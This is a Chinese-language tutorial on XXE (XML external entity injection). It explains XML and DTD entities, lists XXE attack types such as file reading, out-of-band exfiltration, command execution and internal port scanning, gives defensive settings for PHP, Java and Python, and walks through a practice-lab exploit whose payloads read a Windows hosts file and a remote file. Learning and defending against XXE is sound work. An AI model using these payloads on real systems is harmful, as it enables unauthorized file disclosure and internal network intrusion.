xxe漏洞
xxe漏洞
概述
XXE(XML External Entity Injection) 全称为 XML 外部实体注入,从安全角度理解成XML External Entity attack 外部实体注入攻击。
基础知识拓展
-
xml
-
简介
在解析外部实体的过程中,XML解析器可以根据URL中指定的方案(协议)来查询各种网络协议和服务(DNS,FTP,HTTP,SMB等)。 外部实体对于在文档中创建动态引用非常有用,这样对引用资源所做的任何更改都会在文档中自动更新。 但是,在处理外部实体时,可以针对应用程序启动许多攻击。 这些攻击包括泄露本地系统文件,这些文件可能包含密码和私人用户数据等敏感数据,或利用各种方案的网络访问功能来操纵内部应用程序。 通过将这些攻击与其他实现缺陷相结合,这些攻击的范围可以扩展到客户端内存损坏,任意代码执行,甚至服务中断,具体取决于这些攻击的上下文。
XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素
-
xml文档构建模块
所有的 XML 文档(以及 HTML 文档)均由以下简单的构建模块构成:
- 元素
- 属性
- 实体
- PCDATA
- CDATA
下面是每个构建模块的简要描述。
-
元素
元素是 XML 以及 HTML 文档的主要构建模块,元素可包含文本、其他元素或者是空的。
实例:<body>body text in between</body> <message>some message in between</message>
空的 HTML 元素的例子是 "hr"、"br" 以及 "img"。
-
属性
属性可提供有关元素的额外信息
实例:<img src="computer.gif" />
-
实体
实体是用来定义普通文本的变量。实体引用是对实体的引用。 -
PCDATA
PCDATA 的意思是被解析的字符数据(parsed character data)。
PCDATA 是会被解析器解析的文本。这些文本将被解析器检查实体以及标记。 -
CDATA
CDATA 的意思是字符数据(character data)。
CDATA 是不会被解析器解析的文本。
-
xml的DTD(文档类型定义)
-
简介
DTD(文档类型定义)的作用是定义 XML 文档的合法构建模块。
DTD 可以在 XML 文档内声明,也可以外部引用。
xxe漏洞主要是利用DTD可以外部引用这一点 -
实例
-
内部声明:
<!DOCTYPE 根元素 [元素声明]> ex: <!DOCTYOE test any> <?xml version="1.0"?> <!DOCTYPE note [ <!ELEMENT note (to,from,heading,body)> <!ELEMENT to (#PCDATA)> <!ELEMENT from (#PCDATA)> <!ELEMENT heading (#PCDATA)> <!ELEMENT body (#PCDATA)>]> <note> <to>George</to> <from>John</from> <heading>Reminder</heading> <body>Don't forget the meeting!</body> </note>
-
外部声明(引用外部DTD):
<!DOCTYPE 根元素 SYSTEM "文件名"> ex:<!DOCTYPE test SYSTEM 'http://www.test.com/evil.dtd'>
完整实例: <?xml version="1.0"?> <!DOCTYPE note SYSTEM "note.dtd"> <note> <to>George</to> <from>John</from> <heading>Rreminder</heading> <body>Don't forget the meeting!</body> </note>
-
而note.dtd的内容为:
<!ELEMENT note (to,from,heading,body)> <!ELEMENT to(#PCDATA)> <!ELEMENT from (#PCDATA)> <!ELEMENT heading (#PCDATA)> <!ELEMENT body (#PCDATA)>
-
-
DTD实体
-
简介
DTD实体是用于定义引用普通文本或特殊字符的快捷方式的变量,可以内部声明或外部引用。 -
具体
实体又分为一般实体和参数实体 1,一般实体的声明语法:<!ENTITY 实体名 "实体内容“> 引用实体的方式:&实体名; 2,参数实体只能在DTD中使用,参数实体的声明格式: <!ENTITY % 实体名 "实体内容“> 引用实体的方式:%实体名;
-
内部实体声明:
<!ENTITY 实体名称 "实体的值"> ex:<!ENTITY eviltest "eviltest">
<?xml version="1.0"?> <!DOCTYPE test [ <!ENTITY writer "Bill Gates"> <!ENTITY copyright "Copyright W3School.com.cn"> ]> <test>&writer;©right;</test>
-
外部实体声明:
<!ENTITY 实体名称 SYSTEM "URI">
<?xml version="1.0"?> <!DOCTYPE test [ <!ENTITY writer SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd"> <!ENTITY copyright SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd"> ]> <author>&writer;©right;</author>
-
-
-
XEE的攻击
-
xxe漏洞原理和危害
XXE(XML外部实体注入,XML外部实体),在应用程序解析XML输入时,当允许引用外部实体时,可构造恶意内容,导致任意文件,探测内网端口,攻击内网网站,发起DoS Java中的XXE支持
sun.net.www.protocol
里的所有协议:http,https,文件,ftp,mailto,jar,netdoc。一般利用文件协议读取文件,利用http协议检测内网。 -
怎样构建外部实体注入?
-
方法一:直接通过DTD外部实体声明
xml内容,
可读取文件passwd的内容 -
方法二:通过DTD文档引入外部DTD文档,在引入外部实体声明
-
xml文件内容
-
evil.dtd文件内容
-
-
方法三:通过DTD外部实体声明引入外部实体声明
-
解释一下
意思就是先写一个外部实体声明,然后引用的是在攻击者服务器上面的外部实体声明
-
xml内容
-
dtd文件内容
-
-
-
支持的协议
-
具体攻击实例
-
读取任意文件
该CASE是读取/etc/passwd,有些XML解析库支持列目录,攻击者通过列目录、读文件,获取帐号密码后进一步攻击,如读取tomcat-users.xml得到帐号密码后登录tomcat的manager部署webshell -
文件读取-数据不回显
如果数据不回显,可以将数据发送到远程服务器上,
当触发xxe攻击后,服务器会把文件内容发送到攻击者的网站。 -
xxe-执行系统命令
该CASE是在安装expect扩展的PHP环境里执行系统命令,其他协议也有可能可以执行系统命令。 -
xxe-探测内网端口
该CASE是探测192.168.1.1的80、81端口,通过返回的“Connection refused”可以知道该81端口是closed的,而80端口是open的。 -
xxe-攻击内网网站
该CASE是攻击内网struts2网站,远程执行系统命令。
-
-
防御xxe攻击
-
使用开发语言提供的禁用外部实体的方法
PHP: libxml_disable_entity_loader(true); JAVA: DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance(); dbf.setExpandEntityReferences(false); Python: from lxml import etree xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
-
过滤用户提交的XML数据
关键词:<!DOCTYPE和<!ENTITY,或者,SYSTEM和PUBLIC。
-
-
靶场实例
-
实验环境
靶场:皮卡丘漏洞练习平台
php版本:7.3.4
中间件:apache 2.4.36 -
尝试注入
发现body标签被解析,可能存在xml注入 -
开始构建payload
<?xml version="1.0" encoding="gb2312"?> <!DOCTYPE a [ <!ENTITY xhh SYSTEM "C:/Windows/System32/drivers/etc/hosts">]> <a>&xhh;</a>
执行结果
成功通过xml外部实体函数获取windows敏感文件-
尝试读取远程服务器上的robot文件
<?xml version="1.0" encoding="gb2312"?> <!DOCTYPE a [ <!ENTITY xhh SYSTEM "https://zhuanlan.zhihu.com/robots.txt"> ]> <a>&xhh;</a>
-
-
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· DeepSeek 开源周回顾「GitHub 热点速览」
· 物流快递公司核心技术能力-地址解析分单基础技术分享
· .NET 10首个预览版发布:重大改进与新特性概览!
· AI与.NET技术实操系列(二):开始使用ML.NET
· 单线程的Redis速度为什么快?